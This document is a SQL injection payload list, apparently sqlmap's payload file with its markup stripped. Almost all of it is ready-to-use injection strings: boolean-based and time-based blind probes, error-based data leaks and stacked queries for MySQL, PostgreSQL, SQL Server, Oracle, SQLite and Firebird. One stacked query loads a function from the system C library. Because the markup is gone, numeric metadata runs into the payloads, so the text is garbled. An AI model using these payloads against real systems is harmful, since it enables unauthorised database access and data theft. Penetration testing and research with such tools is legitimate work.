AND boolean-based blind

1 0 1,2,3 1 1 1 1,2 1 ) AND ([RANDNUM]=[RANDNUM] 2 1 1,2 1 )) AND (([RANDNUM]=[RANDNUM] 3 1 1,2 1 ))) AND ((([RANDNUM]=[RANDNUM] 1 1 1,2 2 ' AND '[RANDSTR]'='[RANDSTR] 1 1 1,2 2 ') AND ('[RANDSTR]'='[RANDSTR] 2 1 1,2 2 ')) AND (('[RANDSTR]'='[RANDSTR] 3 1 1,2 2 '))) AND ((('[RANDSTR]'='[RANDSTR] 2 1 1,2 3 ' AND '[RANDSTR]' LIKE '[RANDSTR] 2 1 1,2 3 ') AND ('[RANDSTR]' LIKE '[RANDSTR] 3 1 1,2 3 ')) AND (('[RANDSTR]' LIKE '[RANDSTR] 3 1 1,2 3 '))) AND ((('[RANDSTR]' LIKE '[RANDSTR] 2 1 1,2 4 " AND "[RANDSTR]"="[RANDSTR] 3 1 1,2 4 ") AND ("[RANDSTR]"="[RANDSTR] 4 1 1,2 4 ")) AND (("[RANDSTR]"="[RANDSTR] 4 1 1,2 4 "))) AND ((("[RANDSTR]"="[RANDSTR] 3 1 1,2 5 " AND "[RANDSTR]" LIKE "[RANDSTR] 4 1 1,2 5 ") AND ("[RANDSTR]" LIKE "[RANDSTR] 5 1 1,2 5 ")) AND (("[RANDSTR]" LIKE "[RANDSTR] 5 1 1,2 5 "))) AND ((("[RANDSTR]" LIKE "[RANDSTR] 2 2,3 1,2 1 , AND boolean-based blind - WHERE clause 1 1 1 1 1 AND [RANDNUM]=[RANDNUM] AND [RANDNUM]=[RANDNUM1] OR boolean-based blind - WHERE clause 1 4 3 1 1 OR [RANDNUM]=[RANDNUM] OR [RANDNUM]=[RANDNUM1] MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses 1 3 1 2,3 1 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))

MySQL >= 5.0

MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses 1 4 1 2,3 1 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))

MySQL < 5.0

Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause 1 3 1 3 1 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))

Microsoft SQL Server

Oracle boolean-based blind - ORDER BY clause 1 3 1 3 1 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END) FROM DUAL)

Oracle

Generic boolean-based blind - GROUP BY and ORDER BY clauses 1 3 1 2,3 1 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END)) MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses 1 4 1 2,3 3 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))

MySQL >= 5.0

MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses 1 5 1 2,3 3 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))

MySQL < 5.0

Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause 1 4 1 3 3 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))

Microsoft SQL Server

Oracle boolean-based blind - ORDER BY clause 1 4 1 3 3 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END) FROM DUAL)

Oracle

Generic boolean-based blind - GROUP BY and ORDER BY clauses 1 4 1 2,3 3 (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END)) MySQL >= 5.0 error-based - WHERE clause 2 1 0 1 1 AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

MySQL >= 5.0

PostgreSQL error-based - WHERE clause 2 1 0 1 1 AND [RANDNUM]=CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

PostgreSQL

Microsoft SQL Server/Sybase error-based - WHERE clause 2 1 0 1 1 AND [RANDNUM]=CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]')) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

Microsoft SQL Server

Oracle error-based - WHERE clause 2 1 0 1 1 AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

Oracle

MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses 2 3 0 2,3 1 (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

MySQL >= 5.0

PostgreSQL error-based - GROUP BY and ORDER BY clauses 2 3 0 2,3 1 (CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC)) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

PostgreSQL

Microsoft SQL Server/Sybase error-based - ORDER BY clause 2 3 0 3 1 (CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]'))) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

Microsoft SQL Server

Oracle error-based - ORDER BY clause 2 3 0 3 1 (SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

Oracle

MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses 2 4 0 2,3 3 (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

MySQL >= 5.0

PostgreSQL error-based - GROUP BY and ORDER BY clauses 2 4 0 2,3 3 (CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC)) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

PostgreSQL

Microsoft SQL Server/Sybase error-based - ORDER BY clause 2 4 0 3 3 (CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]'))) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

Microsoft SQL Server

Oracle error-based - ORDER BY clause 2 4 0 3 3 (SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL) [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR]

Oracle

MySQL > 5.0.11 stacked queries 4 1 0 0 1 ; SELECT SLEEP([SLEEPTIME]); -- [SLEEPTIME]

MySQL > 5.0.11

MySQL < 5.0.12 stacked queries 4 2 0 0 1 ; SELECT BENCHMARK(5000000, MD5('[SLEEPTIME]')); -- [SLEEPTIME]

MySQL < 5.0.12

PostgreSQL > 8.1 stacked queries 4 1 0 0 1 ; SELECT PG_SLEEP([SLEEPTIME]); -- [SLEEPTIME]

PostgreSQL > 8.1

PostgreSQL < 8.2 stacked queries - exists function 4 3 0 0 1 ; SELECT 'sqlmap' WHERE exists(SELECT * FROM generate_series(1, 3000000)); -- [SLEEPTIME]

PostgreSQL < 8.2

PostgreSQL < 8.2 stacked queries - Glibc 4 4 0 0 1 ; CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]); -- [SLEEPTIME]

PostgreSQL < 8.2 Linux

Microsoft SQL Server/Sybase stacked queries 4 1 0 0 1 ; WAITFOR DELAY '0:0:[SLEEPTIME]'; -- [SLEEPTIME]

Microsoft SQL Server

Oracle stacked queries 4 3 0 0 1 ; BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END; -- [SLEEPTIME]

Oracle

Oracle stacked queries 4 5 0 0 1 ; EXEC DBMS_LOCK.SLEEP([SLEEPTIME].00); -- [SLEEPTIME]

Oracle

Oracle stacked queries 4 5 0 0 1 ; EXEC USER_LOCK.SLEEP([SLEEPTIME].00); -- [SLEEPTIME]

Oracle

SQLite > 2.0 stacked queries 4 3 0 0 1 ; SELECT LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000)))); -- [SLEEPTIME]

SQLite > 2.0

Firebird stacked queries 4 3 0 0 1 ; SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6; -- [SLEEPTIME]

Firebird > 2.0

MySQL > 5.0.11 AND time-based blind 5 1 1 1 1 AND SLEEP([SLEEPTIME]) [SLEEPTIME]

MySQL > 5.0.11

MySQL < 5.0.12 AND time-based blind 5 2 1 1 1 AND BENCHMARK(5000000, MD5('[SLEEPTIME]')) [SLEEPTIME]

MySQL < 5.0.12

PostgreSQL > 8.1 AND time-based blind 5 1 1 1 1 AND PG_SLEEP([SLEEPTIME]) [SLEEPTIME]

PostgreSQL > 8.1

SQLite > 2.0 AND time-based blind 5 3 1 1 1 AND LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000)))) [SLEEPTIME]

SQLite > 2.0

Firebird AND time-based blind 5 4 1 1 1 AND (COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0 [SLEEPTIME]

Firebird > 2.0

MySQL > 5.0.11 OR time-based blind 5 2 3 1 1 OR SLEEP([SLEEPTIME]) [SLEEPTIME]

MySQL > 5.0.11

MySQL < 5.0.12 OR time-based blind 5 3 3 1 1 OR BENCHMARK(5000000, MD5('[SLEEPTIME]')) [SLEEPTIME]

MySQL < 5.0.12

PostgreSQL > 8.1 OR time-based blind 5 2 3 1 1 OR PG_SLEEP([SLEEPTIME]) [SLEEPTIME]

PostgreSQL > 8.1

SQLite > 2.0 OR time-based blind 5 4 3 1 1 OR LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000)))) [SLEEPTIME]

SQLite > 2.0

Firebird OR time-based blind 5 5 3 1 1 OR (COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0 [SLEEPTIME]

Firebird > 2.0